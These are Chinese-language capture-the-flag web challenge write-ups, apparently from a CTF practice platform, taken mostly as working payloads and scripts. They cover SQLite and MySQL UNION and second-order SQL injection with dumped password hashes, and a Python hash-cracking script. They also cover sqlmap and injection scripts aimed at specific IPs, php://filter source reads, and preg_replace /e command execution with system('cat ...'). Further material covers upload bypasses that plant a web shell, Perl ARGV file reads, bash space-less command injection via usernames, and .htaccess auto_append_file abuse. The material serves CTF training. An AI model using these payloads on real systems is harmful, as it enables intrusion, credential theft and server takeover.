点开的页面中的链接都是下载pdf文件的,都是英文论文什么的,先不管
测试/.git/,回显404,但有robots.txt
两个登录界面,猜测flag应该是登录admin.php拿到,通过对login.php进行注入得到密码。
login.php源码注释有提示
访问/login.php?debug,得到源码
是个sqlite的数据库,密码通过sha1加密还加了salt,那好像注入出来密码,也解密不了明文的,但没别的思路就注入了再说。。。。
sqlite_master 表是 SQLite 的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个 SQLIite 数据库的时候,该表会自动创建。sqlite_master 表包含5列。
type:记录了项目的类型,如 table、index、view、trigger 。
name:记录了项目的名称,如表名、索引名等。
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者 NULL 。
sql:记录创建该项目的 SQL 语句。
Payload:usr=’ union select name,sql from sqlite_master–+&pw=
注入后响应头的set-cookie:+CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))
爆数据:
usr=%27 UNION SELECT id, name from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, password from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, hint from Users limit 0,1–+&pw=chybeta
得到
admin 3fab54a50e770d830c0416df817567662a9dc85c +my+fav+word+in+my+fav+paper?!
fritze 54eae8935c90f467427f05e4ece82cf569f89507 +my+love+is�
hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd +the+password+is+password
猜测密码藏在pdf文件中,把所有pdf文件下载下来,跑一遍嫖来的脚本,得到密码:ThinJerboa ,在admin.php登录即可得到flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': //之前查到的密码
print "Find the password :" + word
exit()
if __name__ == "__main__":
find_password()
打开是个云拨测网站,猜测ssrf,或者命令执行
尝试命令执行 127.0.0.1 && net user,失败, 试了试别的也不行,绕不过防护
看了wp 说是通过FUZZ 字符超过0x7F的ASCII都会引发报错,因为Django使用的是gbk编码,超过%F7的编码不在gbk中有意义。
利用PHP可以通过在参数中注入@来读取文件加上报错得到数据
?url=@/opt/api/api/settings.py 数据库名
?url=@/opt/api/database.sqlite3 数据库内容,Ctrl+F搜索ctf得到
直接去登录和注册测试有没有sql注入,发现并没有。。。。但忘记密码那有sql注入(手工是没试出来,用的sqlmap)
学习一下sqlmap用的payload
最后sqlmap.py -u “http://111.198.29.45:58113/findpwd.php” --data=“username=a” -D cetc004 –tables user -C “username,password” –dump 跑出密码就行,不过密码是加密的,好像也破解不了
但注册用户界面存在一个逻辑漏洞,可以重复注册用户,相当于可以直接把密码给改了,那就重新注册c3tlwDmIn23这个账号,登录得到flag
感觉应该是文件包含
发现可以用php伪协议读出源码,?page=php://filter/read=convert.base64-encode/resource=index.php
base64decode,得到源码进行审计,主要看这部分代码
用火狐插件改一下请求头(用的是X-Forwarded-For Header)
构造payload进行命令执行:/index.php?pat=/(.)/e&rep=system(‘ls’)&sub=a
index.php?pat=/(.)/e&rep=system(’ ls s3chahahaDir’)&sub=a
index.php?pat=/(.)/e&rep=system(’ ls s3chahahaDir/flag’)&sub=a
index.php?pat=/(.)/e&rep=system(‘cat s3chahahaDir/flag/flag.php’)&sub=a 查看源码
PHP伪协议 https://cloud.tencent.com/developer/article/1037893
注册的时候发现已经有admin账号了,试了一下注入也不行。随便注册一个账号登录后发现个修改目录的,试了下好像也没什么用
然后去试试修改密码这有没有逻辑漏洞
和ics-04差不多,也是修改密码哪里有个逻辑漏洞,能修改admin的密码。
Bp抓包把修改的用户名改为admin,这里问题出在第一步验证成功之后,第二步发给服务器要修改的密码的包,用户名是有客户端发出,可以修改的
修改成功后登录
改一下请求头就行
查看源码有提示,下面有个就是文件上传了,
?module=filemanage&do=upload
检查后缀名和content-type,还有标签, 用script模式绕过,修改文件名后缀为jpg,上传抓包,再改后缀名为php4或者php5,发现直接给flag了
应该是文件上传漏洞
’/. .ph(p[3457]?|t|tml)$/i’ //正则过滤文件只匹配最后一个点的后缀,可以写入两次.php,注意这里真实上传目录为uploaded,else后chdir(uploaded)
但首先要使 $_SESSION[‘admin’] 这个条件满足,接着看到下面的代码
id值浮点值不能为1,且最后一个数必须为9,Mysql查询结果限制,id不能过大,构造1a9 ,1–9都行(利用php弱类型语言的特性)
?id=1–9&submit&page=flag.php
Post传参:con= &file=…/123.php/. 或者file=…/123.php/1.php/…&con= (Linux的目录结构特性) passthru — 执行外部程序并且显示原始输出,同 exec() 函数类似
去/uploaded/123.php?bash=ls 命令执行
主要是个文件上传页面
且可以把上传的内容直接加载到页面上
后台应该用了param()函数。 param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改, 在URL中传入文件路径参数,可以达到读取任意文件的目的
可以直接先读取file.pl文件,一般应该在/var/www/cgi-bin/file.pl ,试一下
通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"的等价形式。
发现当前目录有flag文件,接着读取flag即可
题目点进去就一个登录页面,用御剑扫出来,有注册页面
题目提示SQL,在登录和注册页面测试无果,且发现输入框限制了特殊字符,要用bp提交payload,但发现用户处可能存在二次注入漏洞,测试payload:[email protected]&username=0’%2B(select hex(hex(database())))%2B’0&password=123456(+用^代替也可以)
这里两次hex加密的原因是只进行一次加密可能出现字母
进行两次hex解码后得到数据库名为web。
接下来的注入要注意,数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,就得通过截取适当长度的字符串进行回显。且题目中过滤了逗号
import requests
import string
import re as r
ch = string.ascii_lowercase+string.digits+'-}'+'{'
re = requests.session()
url = 'http://159.138.137.79:63582/'
def register(email,username):
url1 = url+'register.php'
data = dict(email = email, username = username,password = '123456')
html = re.post(url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email = email,password = '123456')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
return html
f = ''
for j in range(0,17):
payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14')
html = register(email,payload)
html = login(email)
try:
res = r.findall(r'(.*?)',html.text,r.S)
flag = res[0][1:].strip()
f += flag
print f.decode('hex').decode('hex')
except:
print "problem"
发现已经有一个admin帐号了,应该要先登录再说,尝试sql注入(login,new_user)都不行
去看看首页这一大坨英文
随便点一个看看,发现参数post
尝试目录遍历 ?post=…/ 发现有源码泄露
查看源代码,有user子目录,get_flag1只要管理员用户访问以下位置的个人资料,就会调用该命令profile.wtf,得到flag1
看登录部分主要代码,设置了token
去users目录看看,好像是用户名密码???,发现有admin用户的
解密下看看,发现是乱码,根据登陆代码猜测这可能是token,看看能不能用这个token直接登录
F12改一下cookie的值,改成admin的 ,user参数也改一下
点击这个链接
果然flag1就只有一半flag
接着翻翻源码
能够解析并执行 wtf 文件,如果还能够上传 wtf 文件并执行的话,就可以达到控制服务器的目的,
因此,我们要做的是上传一个文件,该文件包含以“ $”开头的外壳程序代码以及具有.wtf扩展名的文件名。
回复帖子时,我们通过postGET参数提交了帖子ID 。此参数也受到前面路径遍历的影响,这使我们可以定义要写入的文件名。该函数还将用户名写在文件的第一行。
因此,如果我们只是注册了一个包含有效shell命令的用户名,并将其写入以.wtf结尾的文件到一个我们可以访问该文件的目录中,则会执行代码。幸运的是,users_lookup文件不包含.noread文件,因此我们可以将.wtf文件写入users_lookup。
该应用程序允许注册包含特殊字符(如“ ” ) 的 用 户 , 但 使 用 包 含 空 格 的 用 户 名 却 存 在 问 题 。 但 是 , 由 于 b a s h 允 许 执 行 不 带 空 格 的 命 令 ( 例 如 c a t , / e t c / p a s s w d ) , 所 以 可 绕 过 。 注 册 用 户 : ”)的用户,但使用包含空格的用户名却存在问题。但是,由于bash允许执行不带空格的命令(例如{cat,/ etc / passwd}),所以可绕过。注册用户: ”)的用户,但使用包含空格的用户名却存在问题。但是,由于bash允许执行不带空格的命令(例如cat,/etc/passwd),所以可绕过。注册用户:{find,/,-iname,get_flag2}
去回复那 修改post参数 回复内容随意
访问发现目录不存在404.。。。抓个包看看
%09没了,%09是水平制表符,没有的话后台会把我们的后门当做目录去解析,加上%09用bp发包,再次访问后门,得到flag2的地址
再注册一个用户名为$/usr/bin/get_flag2,把之前的包改一下用户名和token发送,访问后门得到flag
Flag2部分主要参考https://github.com/ernw/ctf-writeups/tree/master/csaw2016/wtf.sh
注册登陆后,发现上传页面,传个马,后缀名有限制,jpg可以但无法得知上传路径,回显名称有uid,图片的文件名会显示在页面,文件上传这条路是走不通了,但文件名存在SQL注入。
Fuzz 发现过滤select和from,双写绕过用selselectect和frfromom substr的length最多为12 超过会出现科学计数法表示,无法转化为10进制
爆数据库:
sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg 回显 sql 131277325825392 => web_up
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg 回显 sql 1819238756 => load
拼接得到数据库名web_upload
爆表:
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg 回显 sql 114784820031327 => hello_
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg 回显 sql 112615676665705 => flag_i
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg 回显 sql 126853610566245 => s_here
拼接得到表名 hello_flag_is_here
爆字段:
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg 回显 sql 115858377367398 => i_am_f
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg 回显 sql 7102823=> lag
拼接得到字段i_am_flag
爆值:
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg 回显 sql 36427215695199 => !!_@m_
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg 回显 sql 92806431727430=> Th.e_F
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg 回显 sql 560750951=> !lag
拼接得到的flag为: !!_@m_Th.e_F!lag
这样的环境才是对的,要是商品名称什么的都是空白,你注册了用户也无法登录的
有注册和登录找回密码功能,发现没有admin用户,试了sql注入无果
扫描发现有robots.txt,sql.txt
打开config.txt,进行源码审计
class master
{
private $path;
private $name;
function __construct()
{
}
function stream_open($path)
{
if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
return 1;
$a=$array[1];
parse_str($array[2],$array);
if(isset($array['path']))
{
$this->path=$array['path'];
}
else
return 1;
if(isset($array['name']))
{
$this->name=$array['name'];
}
else
return 1;
if($a==='upload')
{
return $this->upload($this->path,$this->name);
}
elseif($a==='search')
{
return $this->search($this->path,$this->name);
}
else
return 1;
}
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;
$filename=$_FILES[$name]['name'];
echo $filename;
$file=file_get_contents($_FILES[$name]['tmp_name']);
$file=str_replace('<','!',$file);
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))
{
echo 'illegalbbbbbb!';
return 1;
}
file_put_contents($path.$filename,$file);
file_put_contents($path.'user.jpg',$file);
echo 'upload success!';
return 1;
}
function search($path,$name)
{
if(!is_dir($path))
{
echo 'illegal!';
return 1;
}
$files=scandir($path);
echo '</br>';
foreach($files as $k=>$v)
{
if(str_ireplace($name,'',$v)!==$v)
{
echo $v.'</br>';
}
}
return 1;
}
function stream_eof()
{
return true;
}
function stream_read()
{
return '';
}
function stream_stat()
{
return '';
}
}
stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');
?>
主要有个上传功能且upload对文件内容做了过滤
登录后到个人中心,发现上传头像这里是有积分限制的,我这10积分应该是注册的时候填了自己为邀请人给的
再注册几个号到100积分时就可以上传了
可以上传.htaccess文件,那么就可以用.htaccess修改配置文件php_value auto_append_file master://search/path=%2fhome%2f&name=flag 使用了伪协议master:// 来搜索文件,这里正斜杠必须编码传入
.htaccess相关:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html
再上传一个一句话木马的php文件(随便什么php文件其实都行),查看图像地址得到路径
修改.htaccess 为php_value auto_append_file /home/hiahiahia_flag 再次上传 访问这个php页面 得到flag